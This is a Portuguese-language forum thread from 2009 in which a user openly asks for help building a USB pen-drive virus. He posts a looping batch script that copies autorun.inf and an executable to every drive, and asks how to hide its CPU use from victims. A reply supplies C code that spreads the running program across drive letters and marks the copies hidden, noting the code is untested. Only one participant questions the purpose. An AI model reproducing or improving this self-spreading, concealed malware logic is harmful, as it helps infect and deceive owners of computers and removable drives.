[duvida] auto copiar para pendriver

Started by Mau, 04 de September , 2009, 03:32:59 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Mau

[duvida] auto copiar
Estou tentando criar um vírus de pen driver mas não estou conseguindo fazer ele se auto copiar para outros pen driver quando inserido  tentei deste jeito:
Código
Echo off
:inicio

xcopy /h /y autorun.inf d:\

xcopy /h /y setap.exe d:\

goto inicio

para todas as letras do alfabeto mas quando pega uma letra do leitor de cartão da um erro assim "windows - sem disco" quando tem um pen driver inserido nele.
Assim o user vai ter porblemas e mada ver o pc em um técnico e ele vai ver que tem um vírus. De poco adianta fazer deste jeito.
Tem com fazer isso em batch como me ajudem. Help.
Há ia esquecer como por para ele esperar de 2 ou 3 segundos entre cada letra do alfabeto assim não usaria muito o cpu e o user nem se da conta mesmo que tem um arquivo trabalhado ai. Desde já agradeço mmmmuuuuiiiittttoooo.

CoXa

Mau,

Porque perder seu tempo em criar vírus de pendrive para empacar a vida de seus usuários?


CoXa =P

Mateus

Melhor que gastar tempo fabricando software pra banking, não acha?
só que você está indo pelo caminho errado Mau.

Tente desenvolver numa linguagem de programação de alto nível, batch não leva ninguém a nada ^^
8)
H4X with axes 8)

Mau

Quote from: Mateus on 17 de September , 2009, 09:52:21 AM
Melhor que gastar tempo fabricando software pra banking, não acha?
só que você está indo pelo caminho errado Mau.

Tente desenvolver numa linguagem de programação de alto nível, batch não leva ninguém a nada ^^
8)


seja mais especifico. Qual?

keenlanas

Mau, tente C++ ou C  ::)

Há muitas maneiras de se fazer isso, entre colocar num loop infinito ou esperar pela mensagem que o windows manda quando um novo dispositivo plug and play é inserido...

O código em C poderia ficar assim (Usando como base a lógica que você usou):


GetModuleFileName(NULL, OrigemEXE,256);
strcpy(DestinoEXE, OrigemEXE);

while(1)
{
for (int i = 65; i<91; i++)
{
  DestinoEXE[0]=(char)i;
  if (!fopen(DestinoEXE, "r"))
  {
    CopyFile(DestinoEXE, OrigemEXE,0);
    SetFileAttributes(DestinoEXE, FILE_ATTRIBUTE_HIDDEN);
  }
}
}


O código é auto explicativo, porém, escrevi ele agora, e não testei, fica só a dica ;)

A grande sacada é testar se o arquivo existe já no local pra onde você quer copia-lo, esse teste não acusa erro (pelo menos, não em C), ele vai simplesmente retornar um NULL, pois o caminho não existe...

Coxa, respondendo você:

Nós não queremos melhorar a vida dos usuarios... Pensamos em coisas que PODEM ser maliciosas, mas pensar isso ANTES do outro nos dá a vantagem de estarmos preparado quando isso acontece.

Exemplo, por causa dos virus de PenDrive agora há USB Vacine, pra evitar que eles ocorram, é uma corrida por segurança, é assim que o mundo funciona XD

o/

Mau

Quote from: keenlanas on 01 de October , 2009, 03:56:10 PM
Mau, tente C++ ou C  ::)

Há muitas maneiras de se fazer isso, entre colocar num loop infinito ou esperar pela mensagem que o windows manda quando um novo dispositivo plug and play é inserido...

O código em C poderia ficar assim (Usando como base a lógica que você usou):


GetModuleFileName(NULL, OrigemEXE,256);
strcpy(DestinoEXE, OrigemEXE);

while(1)
{
for (int i = 65; i<91; i++)
{
  DestinoEXE[0]=(char)i;
  if (!fopen(DestinoEXE, "r"))
  {
    CopyFile(DestinoEXE, OrigemEXE,0);
    SetFileAttributes(DestinoEXE, FILE_ATTRIBUTE_HIDDEN);
  }
}
}


O código é auto explicativo, porém, escrevi ele agora, e não testei, fica só a dica ;)

A grande sacada é testar se o arquivo existe já no local pra onde você quer copia-lo, esse teste não acusa erro (pelo menos, não em C), ele vai simplesmente retornar um NULL, pois o caminho não existe...

Coxa, respondendo você:

Nós não queremos melhorar a vida dos usuarios... Pensamos em coisas que PODEM ser maliciosas, mas pensar isso ANTES do outro nos dá a vantagem de estarmos preparado quando isso acontece.

Exemplo, por causa dos virus de PenDrive agora há USB Vacine, pra evitar que eles ocorram, é uma corrida por segurança, é assim que o mundo funciona XD

o/

Valeu pela dica